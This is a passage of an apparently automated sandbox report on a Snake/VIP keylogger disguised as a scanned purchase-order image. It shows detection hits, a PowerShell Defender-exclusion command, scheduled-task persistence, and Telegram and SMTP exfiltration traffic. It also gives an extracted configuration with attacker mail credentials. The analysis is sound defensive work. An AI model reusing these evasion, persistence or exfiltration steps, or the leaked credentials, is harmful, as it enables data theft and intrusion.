8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d659:$a1: get_encryptedPassword 0x70079:$a1: get_encryptedPassword 0xb2899:$a1: get_encryptedPassword 0x2dc05:$a2: get_encryptedUsername 0x70625:$a2: get_encryptedUsername 0xb2e45:$a2: get_encryptedUsername 0x2d2be:$a3: get_timePasswordChanged 0x6fcde:$a3: get_timePasswordChanged 0xb24fe:$a3: get_timePasswordChanged 0x2d3e3:$a4: get_passwordField 0x6fe03:$a4: get_passwordField 0xb2623:$a4: get_passwordField 0x2d66f:$a5: set_encryptedPassword 0x7008f:$a5: set_encryptedPassword 0xb28af:$a5: set_encryptedPassword 0x303c9:$a6: get_passwords 0x72de9:$a6: get_passwords 0xb5609:$a6: get_passwords 0x30774:$a7: get_logins 0x73194:$a7: get_logins 0xb59b4:$a7: get_logins
8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ea47:$s1: UnHook 0x71467:$s1: UnHook 0xb3c87:$s1: UnHook 0x2ea4e:$s2: SetHook 0x7146e:$s2: SetHook 0xb3c8e:$s2: SetHook 0x2ea56:$s3: CallNextHook 0x71476:$s3: CallNextHook 0xb3c96:$s3: CallNextHook 0x2ea63:$s4: _hook 0x71483:$s4: _hook 0xb3ca3:$s4: _hook
Click to see the 45 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe", ParentImage: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, ParentProcessId: 5824, ParentProcessName: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe", ProcessId: 4268, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpCB45.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpCB45.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe, ParentImage: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe, ParentProcessId: 7260, ParentProcessName: HJnkiZjAPsec.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpCB45.tmp", ProcessId: 7400, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 104.243.33.38, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, Initiated: true, ProcessId: 1260, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49779

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe", ParentImage: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, ParentProcessId: 5824, ParentProcessName: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp", ProcessId: 4548, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe", ParentImage: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, ParentProcessId: 5824, ParentProcessName: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe", ProcessId: 4268, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe", ParentImage: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, ParentProcessId: 5824, ParentProcessName: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp", ProcessId: 4548, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T09:18:06.504984+0200	2803305	3	Unknown Traffic	192.168.2.4	49738	188.114.97.3	443	TCP
2024-10-25T09:18:09.405582+0200	2803305	3	Unknown Traffic	192.168.2.4	49745	188.114.97.3	443	TCP
2024-10-25T09:18:10.513519+0200	2803305	3	Unknown Traffic	192.168.2.4	49747	188.114.97.3	443	TCP
2024-10-25T09:18:10.896570+0200	2803305	3	Unknown Traffic	192.168.2.4	49748	188.114.97.3	443	TCP
2024-10-25T09:18:11.993731+0200	2803305	3	Unknown Traffic	192.168.2.4	49751	188.114.97.3	443	TCP
2024-10-25T09:18:12.481315+0200	2803305	3	Unknown Traffic	192.168.2.4	49752	188.114.97.3	443	TCP
2024-10-25T09:18:16.714838+0200	2803305	3	Unknown Traffic	192.168.2.4	49761	188.114.97.3	443	TCP
2024-10-25T09:18:18.216321+0200	2803305	3	Unknown Traffic	192.168.2.4	49767	188.114.97.3	443	TCP
2024-10-25T09:18:19.178788+0200	2803305	3	Unknown Traffic	192.168.2.4	49771	188.114.97.3	443	TCP
2024-10-25T09:18:21.689635+0200	2803305	3	Unknown Traffic	192.168.2.4	49775	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T09:18:04.545506+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49735	193.122.130.0	80	TCP
2024-10-25T09:18:05.889523+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49735	193.122.130.0	80	TCP
2024-10-25T09:18:07.389273+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49740	193.122.130.0	80	TCP
2024-10-25T09:18:08.186206+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49742	193.122.130.0	80	TCP
2024-10-25T09:18:08.779937+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49743	193.122.130.0	80	TCP
2024-10-25T09:18:09.889320+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49742	193.122.130.0	80	TCP
2024-10-25T09:18:11.264267+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49749	193.122.130.0	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Avira: detection malicious, Label: HEUR/AGEN.1304549

Found malware configuration

Source: 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "skisubi@kafs.co.ug", "Password": "B24AM5D9X9F3ZPN", "Host": "mail.kafs.co.ug", "Port": "587", "Version": "4.4"}
Source: 8.2.HJnkiZjAPsec.exe.4779410.2.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "skisubi@kafs.co.ug", "Password": "B24AM5D9X9F3ZPN", "Host": "mail.kafs.co.ug", "Port": "587"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49778 version: TLS 1.2

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0C1CA81Eh	0_2_0C1CAFFB
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0122F45Dh	6_2_0122F2C0
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0122F45Dh	6_2_0122F4AC
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0122FC19h	6_2_0122F961
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 069131E0h	6_2_06912DC8
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 06910D0Dh	6_2_06910B30
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 06911697h	6_2_06910B30
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 06912C19h	6_2_06912968
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0691E959h	6_2_0691E6B0
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0691E0A9h	6_2_0691DE00
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_06910673
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0691F209h	6_2_0691EF60
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0691CF49h	6_2_0691CCA0
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 069131E0h	6_2_06912DC3
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0691D7F9h	6_2_0691D550
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0691E501h	6_2_0691E258
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0691F661h	6_2_0691F3B8
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0691EDB1h	6_2_0691EB08
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0691D3A1h	6_2_0691D0F8
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0691FAB9h	6_2_0691F810
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_06910853
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_06910040
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 0691DC51h	6_2_0691D9A8
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 4x nop then jmp 069131E0h	6_2_0691310E
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 029EF45Dh	11_2_029EF2C0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 029EF45Dh	11_2_029EF4AC
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 029EFC19h	11_2_029EF961
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 069631E0h	11_2_06962DC8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 06960D0Dh	11_2_06960B30
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 06961697h	11_2_06960B30
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 06962C19h	11_2_06962968
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 0696E959h	11_2_0696E6B0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 0696E0A9h	11_2_0696DE00
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	11_2_06960673
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 0696F209h	11_2_0696EF60
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 0696CF49h	11_2_0696CCA0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 069631E0h	11_2_06962DC2
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 0696D7F9h	11_2_0696D550
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 0696E501h	11_2_0696E258
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 0696F661h	11_2_0696F3B8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 0696EDB1h	11_2_0696EB08
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 0696D3A1h	11_2_0696D0F8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 0696FAB9h	11_2_0696F810
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	11_2_06960853
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	11_2_06960040
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 0696DC51h	11_2_0696D9A8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 4x nop then jmp 069631E0h	11_2_0696310E

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.4:49779 -> 104.243.33.38:587

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%2025/10/2024%20/%2019:19:15%0D%0ACountry%20Name:%20United%20States%0D%0A[%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.81 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%2025/10/2024%20/%2020:37:54%0D%0ACountry%20Name:%20United%20States%0D%0A[%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: RELIABLESITEUS RELIABLESITEUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49749 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49740 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49735 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49742 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49743 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49751 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49745 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49761 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49767 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49771 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49747 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49775 -> 188.114.97.3:443

Source: global traffic

TCP traffic: 192.168.2.4:49779 -> 104.243.33.38:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
